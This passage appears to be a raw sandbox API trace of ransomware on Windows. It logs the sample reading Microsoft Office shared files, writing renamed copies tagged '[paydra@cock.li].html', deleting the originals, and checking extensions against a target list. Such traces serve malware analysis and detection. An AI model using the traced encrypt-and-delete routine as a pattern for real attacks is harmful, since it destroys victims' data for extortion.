dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0042.728] GetLastError () returned 0x0 [0042.728] ReadFile (in: hFile=0x20c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0042.837] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0042.838] ReadFile (in: hFile=0x20c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.839] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0042.839] SetEndOfFile (hFile=0x208) returned 1 [0042.839] CloseHandle (hObject=0x208) returned 1 [0042.839] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.839] SetEndOfFile (hFile=0x20c) returned 1 [0042.840] CloseHandle (hObject=0x20c) returned 1 [0042.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0042.840] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0042.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0042.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0042.840] lstrlenW (lpString=".doc") returned 4 [0042.840] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.840] lstrlenW (lpString=".docx") returned 5 [0042.840] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.840] lstrlenW (lpString=".pdf") returned 4 [0042.840] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.841] lstrlenW (lpString=".xls") returned 4 [0042.841] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.841] lstrlenW (lpString=".xlsx") returned 5 [0042.841] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.841] lstrlenW (lpString=".ppt") returned 4 [0042.841] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0042.841] lstrlenW (lpString=".zip") returned 4 [0042.841] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.841] lstrlenW (lpString=".rar") returned 4 [0042.841] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.841] lstrlenW (lpString=".bz2") returned 4 [0042.841] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.841] lstrlenW (lpString=".7z") returned 3 [0042.841] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0042.841] lstrlenW (lpString=".dbf") returned 4 [0042.841] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0042.841] lstrlenW (lpString=".1cd") returned 4 [0042.841] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0042.841] lstrlenW (lpString=".jpg") returned 4 [0042.841] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0042.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0042.841] lstrlenW (lpString=".doc") returned 4 [0042.841] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.841] lstrlenW (lpString=".docx") returned 5 [0042.841] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0042.842] lstrlenW (lpString=".pdf") returned 4 [0042.842] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.842] lstrlenW (lpString=".xls") returned 4 [0042.842] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.842] lstrlenW (lpString=".xlsx") returned 5 [0042.842] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0042.842] lstrlenW (lpString=".ppt") returned 4 [0042.842] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0042.842] lstrlenW (lpString=".zip") returned 4 [0042.842] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.842] lstrlenW (lpString=".rar") returned 4 [0042.842] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.842] lstrlenW (lpString=".bz2") returned 4 [0042.842] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.842] lstrlenW (lpString=".7z") returned 3 [0042.842] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0042.842] lstrlenW (lpString=".dbf") returned 4 [0042.842] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0042.842] lstrlenW (lpString=".1cd") returned 4 [0042.842] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0042.842] lstrlenW (lpString=".jpg") returned 4 [0042.842] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.842] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0042.843] lstrlenW (lpString="TIME.XML") returned 8 [0042.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.255] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=8564) returned 1 [0043.255] CloseHandle (hObject=0x17c) returned 1 [0043.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0043.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.256] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.256] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0043.256] GetLastError () returned 0x0 [0043.256] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x2174, lpOverlapped=0x0) returned 1 [0043.258] WriteFile (in: hFile=0x160, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0043.259] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.259] WriteFile (in: hFile=0x160, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0043.259] SetEndOfFile (hFile=0x160) returned 1 [0043.259] CloseHandle (hObject=0x160) returned 1 [0043.259] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.259] SetEndOfFile (hFile=0x17c) returned 1 [0043.260] CloseHandle (hObject=0x17c) returned 1 [0043.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0043.260] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0043.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0043.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0043.261] lstrlenW (lpString=".doc") returned 4 [0043.261] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.261] lstrlenW (lpString=".docx") returned 5 [0043.261] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0043.261] lstrlenW (lpString=".pdf") returned 4 [0043.261] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.261] lstrlenW (lpString=".xls") returned 4 [0043.261] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.261] lstrlenW (lpString=".xlsx") returned 5 [0043.261] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0043.261] lstrlenW (lpString=".ppt") returned 4 [0043.261] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0043.261] lstrlenW (lpString=".zip") returned 4 [0043.261] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.261] lstrlenW (lpString=".rar") returned 4 [0043.261] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.261] lstrlenW (lpString=".bz2") returned 4 [0043.261] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.261] lstrlenW (lpString=".7z") returned 3 [0043.261] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0043.261] lstrlenW (lpString=".dbf") returned 4 [0043.261] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0043.261] lstrlenW (lpString=".1cd") returned 4 [0043.261] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0043.261] lstrlenW (lpString=".jpg") returned 4 [0043.261] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0043.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0043.262] lstrlenW (lpString=".doc") returned 4 [0043.262] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.262] lstrlenW (lpString=".docx") returned 5 [0043.262] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0043.262] lstrlenW (lpString=".pdf") returned 4 [0043.262] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.262] lstrlenW (lpString=".xls") returned 4 [0043.262] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.262] lstrlenW (lpString=".xlsx") returned 5 [0043.262] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0043.262] lstrlenW (lpString=".ppt") returned 4 [0043.262] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0043.262] lstrlenW (lpString=".zip") returned 4 [0043.262] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.262] lstrlenW (lpString=".rar") returned 4 [0043.262] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.262] lstrlenW (lpString=".bz2") returned 4 [0043.262] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.262] lstrlenW (lpString=".7z") returned 3 [0043.262] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0043.262] lstrlenW (lpString=".dbf") returned 4 [0043.262] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0043.262] lstrlenW (lpString=".1cd") returned 4 [0043.262] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0043.262] lstrlenW (lpString=".jpg") returned 4 [0043.262] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.263] lstrcmpiW (lpString1=".htm", lpString2=".html") returned -1 [0043.263] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0043.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.245] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=237) returned 1 [0044.245] CloseHandle (hObject=0x208) returned 1 [0044.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0044.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0044.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0044.245] lstrlenW (lpString=".doc") returned 4 [0044.245] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0044.245] lstrlenW (lpString=".docx") returned 5 [0044.245] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0044.245] lstrlenW (lpString=".pdf") returned 4 [0044.245] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0044.245] lstrlenW (lpString=".xls") returned 4 [0044.245] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0044.245] lstrlenW (lpString=".xlsx") returned 5 [0044.245] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0044.245] lstrlenW (lpString=".ppt") returned 4 [0044.245] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0044.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0044.245] lstrlenW (lpString=".zip") returned 4 [0044.245] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0044.245] lstrlenW (lpString=".rar") returned 4 [0044.245] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0044.245] lstrlenW (lpString=".bz2") returned 4 [0044.246] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0044.246] lstrlenW (lpString=".7z") returned 3 [0044.246] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0044.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0044.246] lstrlenW (lpString=".dbf") returned 4 [0044.246] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0044.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0044.246] lstrlenW (lpString=".1cd") returned 4 [0044.246] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0044.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0044.246] lstrlenW (lpString=".jpg") returned 4 [0044.246] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0044.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0044.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0044.246] lstrlenW (lpString=".doc") returned 4 [0044.246] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0044.246] lstrlenW (lpString=".docx") returned 5 [0044.246] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0044.246] lstrlenW (lpString=".pdf") returned 4 [0044.246] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0044.246] lstrlenW (lpString=".xls") returned 4 [0044.246] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0044.246] lstrlenW (lpString=".xlsx") returned 5 [0044.246] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0044.246] lstrlenW (lpString=".ppt") returned 4 [0044.246] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0044.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0044.246] lstrlenW (lpString=".zip") returned 4 [0044.246] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0044.246] lstrlenW (lpString=".rar") returned 4 [0044.246] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0044.246] lstrlenW (lpString=".bz2") returned 4 [0044.247] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0044.247] lstrlenW (lpString=".7z") returned 3 [0044.247] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0044.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0044.247] lstrlenW (lpString=".dbf") returned 4 [0044.247] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0044.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0044.247] lstrlenW (lpString=".1cd") returned 4 [0044.247] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0044.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0044.247] lstrlenW (lpString=".jpg") returned 4 [0044.247] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0044.247] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.247] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.646] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2985) returned 1 [0044.646] CloseHandle (hObject=0x210) returned 1 [0044.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0044.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.647] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.647] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0044.846] GetLastError () returned 0x0 [0044.846] ReadFile (in: hFile=0x210, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xba9, lpOverlapped=0x0) returned 1 [0044.847] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0044.848] ReadFile (in: hFile=0x210, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.848] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.848] SetEndOfFile (hFile=0x1a8) returned 1 [0044.848] CloseHandle (hObject=0x1a8) returned 1 [0044.848] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.848] SetEndOfFile (hFile=0x210) returned 1 [0044.849] CloseHandle (hObject=0x210) returned 1 [0044.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.850] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0044.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0044.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0044.850] lstrlenW (lpString=".doc") returned 4 [0044.850] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.850] lstrlenW (lpString=".docx") returned 5 [0044.850] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.850] lstrlenW (lpString=".pdf") returned 4 [0044.850] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.850] lstrlenW (lpString=".xls") returned 4 [0044.850] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.850] lstrlenW (lpString=".xlsx") returned 5 [0044.850] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.850] 